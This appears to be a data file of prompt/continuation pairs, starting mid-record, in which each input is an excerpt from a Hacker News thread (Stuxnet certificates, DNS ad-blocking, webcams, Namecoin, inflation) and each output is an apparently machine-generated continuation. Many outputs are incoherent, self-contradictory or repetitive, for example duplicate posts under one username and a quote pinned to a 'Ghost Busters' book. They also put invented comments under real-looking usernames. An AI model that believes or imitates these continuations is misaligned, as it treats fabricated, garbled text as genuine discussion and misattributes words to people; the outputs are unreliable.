to\nthe world, sshd install, don't run it on Linux. Run it on an OS and config\ndesigned for security. You can still use Linux and other OSs for other\nthings.'\n\nworld says: 'Ok, if I do that, how do I ssh to my Linux hosts?'\n\ndrudru says: 'Since your sshd host is running not on Linux and it is secure,\nyou can use it to login to your other hosts. You should run it on a static IP\naddress. Then you will only allow ssh in to all your other hosts from that\nknown secure IP and host key. You can have multiple jump machine/static IPs,\nsay 2 on different networks for redundancy.'\n\nworld says: 'I've heard OpenBSD was secure. I don't want to learn OpenBSD,\nFreeBSD, etc.'\n\ndrudru says: 'You should just run on Heroku or"} +{"output_text": ", you can't prevent people from breaking in and taking pictures, but\nyou can at least make it inconvenient.\n\n~~~\njames_s_tayler\nI've got a bunch of cameras in my house that I access from my phone. I don't\nthink I've ever seen a camera that wasn't password protected.\n\nI don't have a camera right now because I don't want to deal with the hassle\nof setting up access to a bunch of cameras", "input_text": "\n------\nconradev\nI use a MacBook Pro as my daily driver, but I recently purchased a Lenovo\nThinkPad to play around with. Sometimes I forget how awesome it is to have a\nrepairable and modular computer.\n\nI didn't want the webcam or microphone in the ThinkPad\u2026 so I took 30 minutes\nand removed it. Easy as that.\n\n~~~\ncsydas\nWell,to be fair you could just open the MacBook Pro and unplug the ribbon for\nthe webcam. iFixit will have instructions. Removing it entirely granted is\nanother matter, involving opening the screen, but you'd have to do the same on\nany modern laptop with an integrated camera wouldn't you?\n\n~~~\nwruza\nFor my mac I just used a knife to open screen and shoved black paper strip\nbefore camera.\n\n------\ngreglindahl\nI experimented a bit with an Apple laptop microphone, and it took 2 layers of\nelectrical tape to block the mic. There doesn't appear to be any way to block\nan iPhone mic without blocking the speaker, too, and I'm not confident that it\ncould be blocked at all.\n\n------\nmpetrovich\nBut what about his computer's built-in mic? Unless he's pantomiming all\nsensitive info...\n\n------\nneom\nIt's pretty sad that he used the word \"authority\" in this sentence: You do\nthat so that people who don\u2019t have authority don\u2019t look at you. I think that\u2019s\na good thing.\u201d\n\n------\nthrowaway13337\nIt's relatively common to have access to private security cameras. Some are\neven google indexed.\n\nThe software included relies on the users protect the web interface.\nObviously"} +{"output_text": " people have been impacted\nby this.\n\n------\njrockway\nI have a feeling that the FCC is going to be a big part of the solution to\nthese problems. If the FCC is going to regulate ISPs like they regulate\ntelecom companies, we should all be very afraid.\n\n~~~\nwmf\nOr the FCC could just ignore the ISPs and regulate the backbone providers like\nthey're regulating other providers.\n\n~~~\nwmf\nActually,", "input_text": " sure, if you're talking about outbound VoIP traffic from the\ncustomer's computer, they could do that. But what about inbound traffic, which\nfor nearly all customers is the bulk of their traffic? There can be no way to\nput controls on who sets the QoS flag, which means everybody needs to set it\nor they risk having their own service degraded because someone else decided to\ninappropriately set their own QoS flag.\n\nBasically, it's tragedy of the commons. All incoming traffic is going to end\nup with the QoS flag set, and thus the internet will basically behave as if it\ndidn't exist.\n\n~~~\nbelorn\nPut a stateful table in there, and there is no problem identify most inbound\ntraffic as high priority if the receiver first initiate the communication with\nhigh priority set. There is a bit of issues with mutli-path routing, but its a\nrare issue that could likely be ignored as non-QoS worthy packages.\n\nOf course, that only work inside one ISP and its customers, or between ISP\nwhich agree to respect each other limited use of QoS, both this approach would\nnot fall for the tragedy of the commons. So long the end-user who initiate the\ntraffic ends up deciding what priority is needed, limited use of QoS could\nhelp solve problem of voip vs bittorent.\n\n~~~\nvy8vWJlco\nRouters (and bittorrent clients, and operating systems) allow households to\nprioritize their traffic already. (IMHO, any \"solution\" to bittorrent vs voip\nshould live at the edge where it only affects the person who chose it.)\n\n~~~\n18pfsmt\nRead the Republic Wireless forums to see how many"} +{"output_text": "\nI've always wondered why people use robots.txt to block search engines from\nindexing their pages. I've always added exceptions for things like static\npages, directories of static pages, and directories of static pages that are\nlisted in the robots.txt. I don't see the point in blocking search engines from\nindexing the rest.\n\n~~~\njfarmer\nOne reason is that Google doesn't index directories. They index individual\nfiles.\n\n~~~\ndm", "input_text": " xamuel. For us non-geeks, this is pretty mind-boggling\nstuff.\n\n------\najross\n> When I first turned this on, I set the directive in the configuration file\n> to \u201cConneption: Keep Alive.\u201d Apache began laughing hysterically at my typing\n> skills, and promptly crashed\n\nSo a syntax error is now a \"crash?\". Web developers...\n\n~~~\nceejayoz\nToday I learned people reboot apache without doing `apachectl -t` first.\n\n~~~\nbatista\napachectl -t?\n\nWhy go ghetto? You should be doing something like \"/sbin/service httpd\nrestart\".\n\n~~~\nceejayoz\n`apachectl -t` checks the.conf files for syntax errors.\n\nFor this reason, there's zero excuse for ever having an Apache install crash\nfrom a typo.\n\n~~~\nscdc\nWe have Apache running on some Windows boxes-- haven't found a way to run\napachectl on Windows...\n\n~~~\nceejayoz\n`apache.exe -t` according to\n\n\n------\nchris_wot\nAren't these just standard website speedup techniques? If you ran YSlow on the\nsite, then it's probably going to give you the same advise, but in more\ndetail. And it won't miss obvious suggestions like combine the scripts/css\ninto one file!\n\n~~~\nleeoniya\npretty sure pagespeed tells you to minimize http requests. that's one of the\ntop things. one of the points from what i remember was to combine js and css\nfiles.\n\n------\ndmethvin"} +{"output_text": " why a 4-year college should be \"highly\ncompetitive\" or \"very competitive\" -- it should be about getting a good\neducation, not about getting the best possible education.\n\n\"The most elite colleges have become even more elite\" -- I think this is\nmostly true, but I think it's a good thing. I don't think it's a good thing\nthat the Ivy League are the most elite, but I think it's a good thing that\nthey", "input_text": "perseusprime11\nIs Agile & Scrum still relevant? I am seeing more and more consultants who\nused to selling this stuff have moved upmarket into Lean and Digital\nTransformation of companies.\n\n------\nromanovcode\nCan we deprecate scrum in 2018?\n\n~~~\ndang\nPlease don't post unsubstantive comments here. I'm sure few people here have\nany fondness for software processes, especially in the corporate decadence\nstage, but that's no reason to make HN worse.\n\n------\nbrightball\nThis is perfect.\n\n------\nsaas_co_de\n[http://programming-motherfucker.com/](http://programming-motherfucker.com/)\n\n~~~\nmake3\ndo people really pair program in real life? I've never actually seen it\n\n~~~\ndudul\nYes.\n\n~~~\nmake3\nat which company did you see it, and was it everyone\n\n------\nwoliveirajr\nTag [2011] is missing...\n\n~~~\nsctb\nThanks! Updated.\n\n \nThe Reproduction of Privilege - pg\nhttp://campaignstops.blogs.nytimes.com/2012/03/12/the-reproduction-of-privilege/?src=recg\n======\nrdl\nThere are a lot of points in this (some of which seem bogus), but just to\nfocus on one:\n\n\"Higher education itself has polarized\" -- relative growth in competitive,\nvery competitive, and most highly competitive colleges AND in community\ncolleges, but not in the less and noncompetitive 4-year colleges.\n\nThis seems like something to be celebrated and encouraged, not reviled. I\nreally don't see any reason"} +{"output_text": " team of >5\nprogrammers? A: No. *\n\n~~~\njokermatt999\nI think that's a quote from the book \"The Ghost Busters\". I don't know if it\nwas originally from that book, but it's been floating around for a while.\n\n------\nsliverstorm\nI wonder if the Iranians noticed that the Siemens controls were more secure\nthan the Siemens controls they had?\n\n~~~\nsliverstorm", "input_text": "\n\n------\ntwymer\n\"Siemens announced last year that Simatic can now also control alarm systems,\naccess controls and doors. In theory, this could be used to gain access to top\nsecret locations. Think Tom Cruise and Mission Impossible.\"\n\nI've been reading pretty much everything I can find about Stuxnet so far, but\nhaven't heard this before. If it's true Stuxnet might really be living up to\nthe hype that it's the \"first malware of it's kind.\"\n\n------\n16s\nI've read that there are three stolen Microsoft Authenticode certificates\nbeing used by stuxnet authors to sign the malware. I've used these sort of\ncerts myself to sign executables. They require passphrases to use. I could\nbelieve that they cracked one passphrase to use one cert, but three? All from\ndifferent companies too.\n\n~~~\nmfukar\nIt's much more likely that the certificate used were stolen (from Realtek\nSemiconductor Corp.), than cracked.\n\n~~~\n16s\nYes, but the point is that in order to use a stolen cert, you need the\npasscode _and_ the cert. They somehow got three certs and three passcodes from\nthree different companies.\n\n~~~\nmfukar\nThat's right. However, I think that if I were in a position to steal a\ncertificate, it'd be trivial to also get the pass[code|phrase|whatever],\nassuming there even was one to begin with. ;-)\n\n~~~\nralphc\nRealtek and JMricron were in the same building, maybe the third company is as\nwell?\n\n------\nGarbage\nOne interesting question is: * Q: Was Stuxnet written by a"} +{"output_text": "\nBut it was fun.\n\nI'm not sure the author has a clue about what he's talking about. He's\nprobably a smart guy, and I'm sure he's read a lot. But he's talking about\nmachine code, and he's talking about his own little world of 6502 machine\ncode.\n\nI'm not sure he's got a clue about the real world.\n\n~~~\npjc50\nThe 6502 is a very simple CPU,", "input_text": "-1. My first\ncomputer \u2014 the best thing I could afford \u2014 was a Quest Super Elf [\n ] with 256 bytes of RAM, and\na processor on which a recursive subroutine call took 16 instructions.\n\nOn the other hand, by 1985 I was doing QA for a 64-bit Unix environment.\n\n~~~\njekub\nYou're joking, this was a wonderful machine. Especially the CDP1802 processor\nwith its ability to use any register as a PC. I've very nice memory with this\nchip.\n\n~~~\nkps\nIn some ways it was nice. For those unfamiliar:\n\nThe 1802 had sixteen general purpose 16-bit registers. Any one of these could\nbe selected as the program counter. In a tiny embedded system (which is what\nthe part was meant for), you might choose to designate one as the \u2018normal\u2019 PC\nand reserve a few others for important subroutines, which could then be\ninvoked with a one-byte \u2018SEP _n_ \u2019 instruction. Similarly you could implement\ncoroutines or simple task switching by switching the selected PC between a\npair of registers.\n\nOn the other hand, there was no conventional call instruction. The SCRT\n(\u201cStandard Call and Return Technique\u201d) for recursive or reentrant subroutines\nessentially involved defining (non-reentrant) coroutines to perform the\n\u2018recursive call\u2019 and \u2018recursive return\u2019 operations.\n\n------\nDanielBMarkham\nI remember playing around with machine instructions on the 6502. I wouldn't\ncall it hand assembly; it was more like copying and groping around. I probably\nwrote less than 200 lines in my life.\n"} +{"output_text": " router for a few days and had to reset it.\n\n------\njrochkind1\nI don't know why people are surprised that ad companies are doing all of this\nmalware stuff. It's the business model.\n\nThey have to do it, or go out of business.\n\nThey have to do it, because if they don't, someone else will.\n\nThey have to do it, because if they don't, the people who buy their ads", "input_text": "ator\nAlso, running your own DNS server means you can do this for _every_ device,\neven those for which you can't easily access the HOSTS file or perhaps don't\neven have such a facility (locked-down mobile devices, embedded systems, etc)\nand not have to worry about keeping multiple copies of HOSTS files in sync and\nupdated.\n\nAlthough I don't have such devices in my network, I've heard that others do\nthis to their \"smart\" TV/media box/creepy home surveillance gadgets.\n\n~~~\npgl\nYes, absolutely! It's way easier to configure your wifi router (or cable\nmodem, or whatever acts as the DHCP server on your network) to use a local DNS\nserver that blocks ads. Then ad blocking just _works_, whatever you connect\nto your network.\n\n~~~\nchrismbarr\nis the best way to do this to run something like DD-WRT? Or is there a way to\naccomplish this with stock router firmware? I ask because I recently tried to\ninstall DD-WRT but ran into issue and had to revert to my stock firmware.\n\n~~~\nlaumars\nPersonally I run dnsmasq on my file server (separate FreeBSD jail), but before\nthen I was running it on my Asus router with pretty much the stock firmware.\nSo I don't think there is a \"best\" approach specifically - just whatever works\nfor you.\n\nWhat's your router model?\n\n~~~\nchrismbarr\nVery late in seeing this comment! It's a Netgear WNDR3700v4. DD-WRT __is\n__supported on it, and i did successfully get it installed, but I had no\nconnection to the"} +{"output_text": "able, because it's\nbasically just a function call.\n\n~~~\npfooti\nI'm not sure I follow. If you're not the author of the code, you don't need to\ncare about the license. If you're not using the code in a way that would\ncreate a derived work, you don't need to care about the license.\n\nIf you're not using the code in a way that would create a derived work, you\ncan't", "input_text": " it helps in what concerns designing\nsoftware in the large.\n\nMost other backgrounds aren't exposed to such issues.\n\n------\npfooti\nOne of the weird problems here is performance, though. A naive approach to\nleft-pad, might involve (new Array(n+1)).join(padChar), for example, since\njavascript doesn't actually have a consistent language-native way to create an\narbitrary-length string. That technique ends up, in some javascript runtimes,\ntaking orders of magnitude longer to run compared to a for loop with string\nconcatenation. The array.join method is one line though.\n\nSo, imagine the scenario where you've got a commonly-used function that gets\nvendored and from there copypasta'd into a lib/common or some other location\nin your project. You've basically just cut yourself off from any updates that\nthe module author might make when new javascript optimization hacks come\naround (or obscure corner-case bugs need protecting against). It's a small\nproblem, but it is at least worth considering.\n\nThere's also this whole thing with licenses - there's a fundamental difference\nbetween using a library and copying its source into your build tree. The MIT\nlicense doesn't care, but the LGPL certainly does.\n\nI do like the idea in general. You should extend it by doing tree-shaking or\ndead-code analysis. \"This library is big, but you're just using one function\ncall, let's just copypasta that one in here\".\n\n~~~\nesailija\nThe code needs to pass threshold of originality to be copyrightable, otherwise\nyou don't need to care about the license. For example `(new\nArray(n+1)).join(padChar)` is definitely not copyright"} +{"output_text": ", you also come across as someone who\nhas a hidden agenda.\n\n------\ntjr\n> I have a feeling that A is trying to low ball me.\n\nThat's a pretty strong feeling, given the information you've given us.\n\n------\ntjr\nAn email from you...\n\n> Dear Hacker News,\n\n> I recently graduated from college and am looking to start my own business.\n\n> I recently got an offer from", "input_text": "bid A. Now you are\nwondering if you can leverage a questionable offer from B to up A's offer.\n\nIf you escalate this further into a full out bidding war, the probability is\nhigh that it won't turn out well. If B wins, you work for a sketchy company\njust for the money... or they don't come through with a _real_ offer, A drops\nout (note that you do not have a _formal_ offer from A yet), and you are\nscrewed. If A wins, the person you work for knows what you did to them and\nresents it.\n\nSorry to be harsh, but from the outside looking in, B sounds pretty sketchy\nand your line of questioning doesn't reflect well on you.\n\n------\nantidoh\n\"I recently graduated\"\n\n\"aced the interviews\"\n\n\"I got an offer from A\"\n\n\" I actually prefer A\"\n\n\"B can become better in my mind if their offer triumphs on the financial\nside.\"\n\nI believe that last is the only untrue thing you've said.\n\nYou're young, capable and have a lot of years in front of you. Work where you\nwant and enjoy it.\n\n------\nhelen842000\nI think B only want to see the letter in writing so that they can go slightly\nabove what A has offered.It makes no sense to go largely over.\n\nWhy not ask B to make a blind offer based on the value you can bring and what\nyou're worth, tell them you're not interested in them upping A's offer, just\nformulating their own based on value not competition. You want to hear what\nthey would have offered without company A in the picture.\n\nNot only do you come across less money"} +{"output_text": "\nbe number of years of working after finishing the course.\n\nNow, you can look at the numbers and see what is right and what is wrong.\n\n------\njoshuakarjala\nI think the best advice I've gotten in regards to college is to take the\nopportunity to learn, but also to learn on your own time. I took a lot of\nclasses that I didn't need to graduate, but I also took classes that I needed\nto", "input_text": ".... take advantage of opportunities!\n\nDo you have an idea? Have you validated this idea in some form? Do you have\naccess to funds? Do you have the skills necessary to execute the idea? If not,\ndo you have access to people who can make up for your shortcomings? In other\nwords, do you actually have an alternative opportunity to college.\n\nLife is long for most of us, be optimistic and bet on it being long for you\ntoo. Don't be in a rush. While the college degree itself does not hold the\nvalue that it once did, the experience of college for those who truly take\nadvantage of it will find it to be an amazing period of self growth. College\nhas true value for some, even if society does not know how validate its value\non an individual basis.\n\nI went to college, I dropped out senior year, 8 years later I am working on my\nstartup full time. My conditional blanket advice would be this, if you don't\nhave a clear opportunity then go to school. It is that simple. If you spend\nhalf the time your friends' spend partying on your idea, you will have more\nthan enough time to vet your dream as a true opportunity. After which you can\njustifiably quit college and start your company. Just because you start your\nundergrad does not mean you have to finish it.\n\nLike I mentioned, I don't have my degree because I personally don't value a\ndegree. But I highly value my college experience.\n\n------\nxentronium\nIsn't it sad, that there is still no giant database filled with numbers to\nsolve all arguments?\n\nOne column would be university. Another column would be course. Third column\nwould be price. Fourth column would be field of working. Fifth column would"} +{"output_text": " change.\n\n------\njames_s_tayler\nI'm not sure why this is a good article.\n\nThe author is arguing that the US housing market is broken because people are\nbuying houses they can't afford. But the author is also arguing that the\nhousing market is broken because people are buying houses they can't afford.\n\nSo the author is arguing that the two problems are the same thing.\n\nThe author also seems to be arguing", "input_text": " are we trying to fix here? So much faux outrage\n\n------\ngeneralpass\nIt's another bogeyman red herring. The issue is very straightforward: central\nplanning fails.\n\nNearly all critical infrastructure in the form of homes (zoning), roads,\nwater, and electricity and related services are centrally planned.\n\nIt is almost impossible to do anything outside of a municipality, which didn't\nused to be the case.\n\nWithout this central planning failure it would be impossible to \"take\nadvantage\" of any market, as home builders would just build homes until the\n\"launderers\" run out of cash.\n\n~~~\nempath75\nHave you ever been to a developing country? They work they way you suggest.\nPeople just run electricity and water wherever they can and throw up houses\nanywhere.\n\nTurns out it\u2019s not actually an improvement though.\n\n~~~\naianus\nNonsense, I've lived in several and it was great.\n\n$500/mo rent and much better quality of life than a similar $4000/mo place in\nSF.\n\n~~~\nempath75\nYeah living in the developing world is great when you\u2019re there telecommuting\nand have an american or uk passport and can just leave whenever you feel like\nit.\n\n------\nwillart4food\nIncendiary titles, written by ignorant writers, looking to impress\npoliticians, and rattling the cage in order to gain eyeballs.\n\nThere are many reasons NOT to own a piece of Real Estate under an individual\nname, under a trust (for estate purpose) comes to mind and it's now very cheap\nto do and the public in general is more educated on it; so that alone accouts\nfor a large chunch of"} +{"output_text": ".\n\n~~~\nvsupalov\nI think we have different understandings of the terms. I understand ci as\n\"automated testing\", and deployment as \"deploying code to production\".\n\n------\njsmith96\nI'm a big fan of the kops project. It's a little more complicated than what\nthe article describes but it's really great if you want to do something more\nadvanced.\n\n[https://github.com/kubernetes-\ns", "input_text": " been burned a couple of times where changes from a developer's machine\nended up in production\n\n~~~\nrhizome\nHow does that happen? The only way I can think of is when using a \"copy local\"\ntype deployment rather than a repository checkout, which is a pretty basic bug\nin this kind of process that should be eliminated by the time \"automation\" is\na priority.\n\n------\nvsupalov\nGreat article! A tiny nitpick: the distinction between continuous delivery and\ncontinuous deployment, is that in the first case you _could_ deploy anytime\nyour want, but the triggering is still up to a human. With continuous\ndeployment, everything is shipped to prod automatically, given that all\nconditions are met.\n\nIf you want to learn more quickly - I did a talk on the topic last week, and\ndid my best to provide a concise overview of the most essential terms. Check\nout the slides for a high-level view on ci/cd [1] and deployment pipelines in\ngeneral [2] if you want to learn more.\n\n[1] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/12)\n\n[2] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/17)\n\n~~~\nrhizome\nYour \"continuous delivery\" definition sounds like CI to me"} +{"output_text": "I don't think that's what he's saying at all. He's saying that Google is\n\"open\" to the idea of proprietary software, but not to the idea of proprietary\nplatforms.\n\n~~~\nsaurik\nI don't think that is what he is saying at all. He is saying that Google is\n\"open\" to the idea of proprietary software, but not to the idea of proprietary\nplatforms.\n\n~~~\njoeminkie\nI", "input_text": " believe in choice, if you believe\nin innovation from everyone\u2020, then welcome to Android.\"\n\n\u2020 Everyone, depending on where the innovation is, being Google employees, and\nselect partners who are given access to the Android source before public\nrelease.\n\n~~~\nrecoiledsnake\nThat seems pretty true compared to the alternate platform which results in\nthings like this [http://blog.robrhyne.com/post/659211315/almost-on-the-app-\nst...](http://blog.robrhyne.com/post/659211315/almost-on-the-app-store) and\nthis\n[http://www.computerworld.com/s/article/9207641/Apple_rejects...](http://www.computerworld.com/s/article/9207641/Apple_rejects_Sony_e_reader_app_Is_Kindle_next_)\n\nAnd it seems like nothing has changed with the latest changes to Android. Care\nto elaborate?\n\nEdit: And how is a IO keynote 'an entire marketing campaign'?\n\n~~~\ncube13\n>Edit: And how is a IO keynote 'an entire marketing campaign'?\n\nHow is the text on not?\n\n~~~\nrecoiledsnake\nA web page on the internet is an entire marketing campaign?\n\nWhat percentage of Android users even visited that page in their lifetime,\nforget about being swayed by that statement on it? 0.005%?\n\n------\njoeminkie\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n"} +{"output_text": " effectively a higher inflation rate). This is a minor effect.\n\n~~~\ndragonwriter\n> If there is a deflation rate D and (nominal) interest rates R, you can still\n> get a real return of D+R by investing your money.\n\nThat's true, but it's not what people usually mean by \"inflation\". They mean\nthat the value of money increases, which is a different thing from the rate at\nwhich money is increasing.", "input_text": ", it looks like they get screwed.\nIn practice, the productivity and technology advances created by the\ninvestment by people with money are often effectively neutral or\n_deflationary_. Not only are they more productive at their jobs, assuming they\nhave one, but the costs of many goods decline thanks to the investment. This\ndoesn't apply to all goods but it applies to many that almost everyone\nconsumes. That said, if an economy inflates too fast it can quickly outstrip\nthe earning potential of the people that operate in it. The flow of money\nthrough an economy has a significant viscosity and in extreme cases that\ncauses much suffering.\n\nIn summary, the reason mildly inflationary economies are commonly preferred by\nmost governments is that, on the balance, it optimizes incentives to maximize\nreal investment which not only grows the economy in real terms but has quasi-\ndeflationary effects for consumers as well. There are always tradeoffs but\nthis is widely believed to have the \"least bad\" set of tradeoffs for a\ncurrency inflation/deflation policy.\n\n~~~\nyummyfajitas\nThis is NOT why deflation is bad. If there is a deflation rate D and (nominal)\ninterest rates R, you can still get a real return of D+R by investing your\nmoney. If you want \"risk free\" income, you can put your money into AAA fixed\nincome _just like you would do in an inflationary economy_.\n\nThe effects on the allocation of investment in a deflationary world are\nmathematically identical to an increase in interest rates. I.e., D=0, R=5 is\nthe same as D=2, R=3.\n\nThe only notable economic effect is that black money can now earn interest\n(it's"} +{"output_text": " adblocker in my normal Firefox\nprofile.\n\n------\njamespitts\nI'm not sure this is a good use case for a consent-based tracking system.\n\nThe problem is that people don't know they're seeing an ad. They may be\nconfused about what they're seeing, but I don't think most people would\nunderstand that the ad is a techcrunch ad and not an ad for a product or\nservice.\n\nA better", "input_text": "I like that the \"consent\" URL doesn't actually ask for consent - it just\nimmediately redirects to \"collect identifiers\" \\- it's possible they already\nassume they have my consent, but since this was checked with a cookie-less\ncURL command, that seems unlikely. Since my adblocker is blocking the\nguce.advertising.com domain, I guess I don't get to visit TechCrunch.\n\n~~~\ntomger\nAnother post where the top part of the thread is a tangent/unrelated to the\npost. This is becoming common on HN and I don\u2019t find it helpful.\n\n~~~\ncorentin88\nTotally agree. It\u2019s especially annoying because it\u2019s the top thread.\n\n~~~\nNarishma\nIt's the top thread because people find it interesting. If you don't, just\nclick the [-] and it will close the whole thread.\n\n------\nbouke\nWebsite hijacks my back button in Safari. Is there something that can be done\nto prevent this?\n\n~~~\ndao-\nI know we (Mozilla) are working on fixing this in Firefox:\n[https://bugzilla.mozilla.org/show_bug.cgi?id=1515073](https://bugzilla.mozilla.org/show_bug.cgi?id=1515073)\n\nYou may want to check Apple's bug tracker, they likely have an open issue on\nthis already.\n\n~~~\nheartbeats\nIt would be a better idea to block ads served from such sites, or to even send\npunitive requests.\n\n~~~\ndao-\nIt's possible Firefox already does that via its enabled-by-default tracking\nprotection. At least I don't seem to have an"} +{"output_text": ", the US Environmental Protection\nAgency (EPA) discovered that lead from plumbing was poisoning the soil and\nwaterways of the Midwestern states. The EPA required lead pipes to be\nphased-out by the end of 2000, but the effects of lead poisoning linger on._\n\n~~~\nm463\nI'm not sure lead pipes were the problem.\n\nI lived in a city with a lot of lead pipes, and they were fine.\n\nI lived in a", "input_text": "\n\n------\njupp0r\nWhen you think people had learned their lesson by the 1930s, don't forget\nabout watching atomic bomb tests from the side of the road in Nevada in the\n50s: [https://allthatsinteresting.com/atomic-\ntourism](https://allthatsinteresting.com/atomic-tourism)\n\n~~~\ndjtriptych\nIf totally do it if it were even close to safe. Is a small yield blast\ndangerous from 75 miles?\n\n~~~\narethuza\nYou can use Nukemap to work that out:\n\n[https://nuclearsecrecy.com/nukemap/](https://nuclearsecrecy.com/nukemap/)\n\nI think it would be perfectly safe - though you probably don't want to live\ndirectly downwind:\n\n[https://en.wikipedia.org/wiki/Downwinders](https://en.wikipedia.org/wiki/Downwinders)\n\n------\nm463\nMakes me think that regulation moves very slowly.\n\n~~~\nmicrocolonel\nIt moves slowly in both directions. If everything had built-in sunset\nprovisions, it would be a lot easier to try things.\n\n~~~\nRetric\nThat seems like a terrible idea because people forget why useful regulations\nwhere needed.\n\nLead is never going to be safe. _Julius Caesar's engineer, Vitruvius,\nreported, \"water is much more wholesome from earthenware pipes than from lead\npipes.\u201c_ _Lead was added to cheap wine illegally in the 18th and early 19th\ncenturies as a sweetener._. Note the illegal bit because we knew it was toxic.\n\nBut fast forward and... _In the late 1950s"} +{"output_text": " gifts and money to\nget its side.\n\n[https://www.reuters.com/article/us-samsung-texas-\nidUSKBN0K8...](https://www.reuters.com/article/us-samsung-texas-\nidUSKBN0K8C0V20150322)\n\n------\njelliclesfarm\nI wonder if this is a precursor to Mycroft's \"open source", "input_text": "and/or subscription model to the tune of a Bernie Sanders-equivalent funding\nlevel.\n\n~~~\nrayiner\nThere is an enormous, well funded, Silicon Valley lobbying effort directed at\nweakening the patent system. The last Patent Office director was head of\nPatent Strategy for Google for almost a decade. However, almost all the other\nindustries, from automotive to pharmaceuticals to aerospace, and even some of\nthe more traditional players in Silicon Valley, are on the other side of the\nissue.\n\n~~~\nuep\nNo matter how detrimental software patents are to the big players, they are\nfar more detrimental to the small players. If it can keep the smaller players\nfrom being real competitors, it's in the best interest of the big companies to\njust pay the patent tax. They stand to lose far more with a lower barrier to\nentry to their markets.\n\nSoftware is kind of unique (and even moreso now with the prevalence of cloud\nproviders) with its otherwise low barrier to entry; as capital expenses are\nextremely low compared to other industries.\n\n------\nmodeless\nEast Texas? Should be thrown out after the recent Supreme Court ruling, unless\nMycroft actually has an office there. Apple went to the trouble of closing\ntheir stores in East Texas for that exact reason:\n[https://www.macrumors.com/2019/02/22/apple-closing-stores-\nin...](https://www.macrumors.com/2019/02/22/apple-closing-stores-in-eastern-\ndistrict-texas/)\n\nDid this troll not get the memo?\n\n~~~\ntim--\nInteresting that this is the same area that Samsung spends hundreds of\nthousands of dollars to 'bribe' the local community with"} +{"output_text": "-\nBlacklist](https://github.com/khainebot/DNS-Unbound-Blacklist)\n\n------\njwilber\nI wrote a similar script for my home network:\n[https://github.com/jwilber/dnsblacklist](https://github.com/jwilber/dnsblacklist)\n\n------\njwilber\nI wrote a similar script for my home network:\n[https://github.com", "input_text": " type of behavior and much more (Lua for\nPowerDNS, Python for Unbound).\n\nI'd say a script for any of these would be a better choice.\n\n~~~\npgl\nI just yesterday added an Unbound format for my list!\n[http://pgl.yoyo.org/as/#unbound](http://pgl.yoyo.org/as/#unbound)\n\n~~~\nvbezhenar\nI used just 'local-zone' entry. Unbound answers NXDOMAIN for those domains,\nand it prevents next HTTP request to 127.0.0.1. I'm not sure what approach is\nbetter.\n\n~~~\npgl\nTo be honest, I don't use Unbound myself - I was just going off what was sent\nto me as an example of the format to use.\n\n------\nwodenokoto\nWhy do you need to spoof as opposed to block domains?\n\n~~~\nlaumars\nIn the case of this HN submission, they're the same thing. From what I can\ngather, Adsuck is essentially just a DNS forwarder that sends NX DOMAIN for\nblacklisted domains but forwards the DNS requests for all other DNS lookups.\nSo \"spoof\" is a little misleading since it's actually doing the job of a\nnormal DNS forwarder - albeit tuned with privacy in mind. So I think it's fair\nto say this method could more accurately be defined as \"block[ing] domains\"\nrather than \"spoofing DNS\". However I'd welcome a correction if I'm wrong.\n\n------\nKhaine\nI wrote a simple python script to blacklist bad domains for unbound\n[https://github.com/khainebot/DNS-Unbound"} +{"output_text": " is\nlimited to transforming the DOM.\n\n~~~\njrochkind\nIt means it's not a preprocessor.\n\nA preprocessor is a program that takes some text as input, does some processing\non it, and spits out some different text as output.\n\nThis is not limited to preprocessors. Anything that transforms the DOM is not\na preprocessor.\n\nThis particular thing is called a post-processor because it transforms the\nDOM _after", "input_text": "below.\n\n~~~\nuserbinator\n> I'm on a Mac so there's no scrollbars. There's your problem.\n\n~~~\niLoch\nCongratulations on being an ignorant elitist. I have both Mac and PC and have\nbeen using both for a very long time. The point of my statement is that\nwhether or not I can see my scrollbar, I shouldn't have to look at the size of\nthe bar to determine the functionality of the site.\n\n------\ntransfire\nI wish there were a revolt against W3C. They have consistently made a mess of\neverything they touch (and take forever to do it). Why reinvent the wheel yet\nagain with another fuglier syntax? We already have Sass and LESS which are\nwidely used and quite beloved. Just adopt the best of those and save us from\nyet another \"XSL-FO\". Please! For God's sake, man!\n\n~~~\njsmeaton\nSo, in your world, we'd all have to compile our stylesheets? I don't like that\nidea at all.\n\n~~~\njrochkind1\nNo. The reason sass or less require compiling is to support features that\naren't actually a part of the CSS standard, so they need to be compiled down\nto things that are a part of the css standard.\n\nIn his world, the best of those features would be part of the CSS standard and\nsupported by browsers, so you could just give them right to browsers without\ncompiling anything.\n\n~~~\njsmeaton\nWell I'm glad I phrased it as a question then :)\n\n------\ncrystaln\n\"post-processor\"? What does that mean?\n\nLooks a lot like a pre-processor to me, except that its functionality"} +{"output_text": " positive\nresponse to their scan for a proof-of-work, they would add the transaction to\nthe Bitcoin block chain and if they get a negative response they would add the\ntransaction to the Namecoin block chain.\n\nThis would be a way to have a Namecoin-like system with a separate chain and\nseparate proof-of-work without needing to coordinate with Bitcoin at all.\n\n~~~\njrochkind1\nI think the point is that this is", "input_text": "ists. Schr\u00f6dinger\ncalled himself an Atheist but had a strong affinity for Eastern spiritually\nand Oppenheimer was into Hinduism. And if you want to get into some _really_\nweird stuff, look up Jack Parsons, founder of JPL at NASA.\n\nScientists are just people like the rest of us and grapple with the same\nquestions in life all of us do.\n\n \nNamecoin - rfreytag\nhttps://en.wikipedia.org/wiki/Namecoin\n======\nJacobAldridge\nAt the risk of hijacking yet another cryptocurrency thread, this is an\nopportunity to note how valuable I believe HN to be when it highlights primary\nsources.\n\nSecondary sources - whether it's lazy journalism, blog-jacking, or Wikipedia,\nengages us here in a discussion already framed through another person's or\ngroup of people's editorial eyes. Is there no better overview of Namecoin than\nits Wikipedia page?\n\n~~~\nbachback\n[http://namecoin.info](http://namecoin.info)\n\nThis is where it started:\n[https://bitcointalk.org/index.php?topic=1790.0](https://bitcointalk.org/index.php?topic=1790.0)\n\nsatoshi's comment on the matter, posted 4 days before he left the forum.\n\n\"I think it would be possible for BitDNS to be a completely separate network\nand separate block chain, yet share CPU power with Bitcoin. The only overlap\nis to make it so miners can search for proof-of-work for both networks\nsimultaneously.\n\nThe networks wouldn't need any 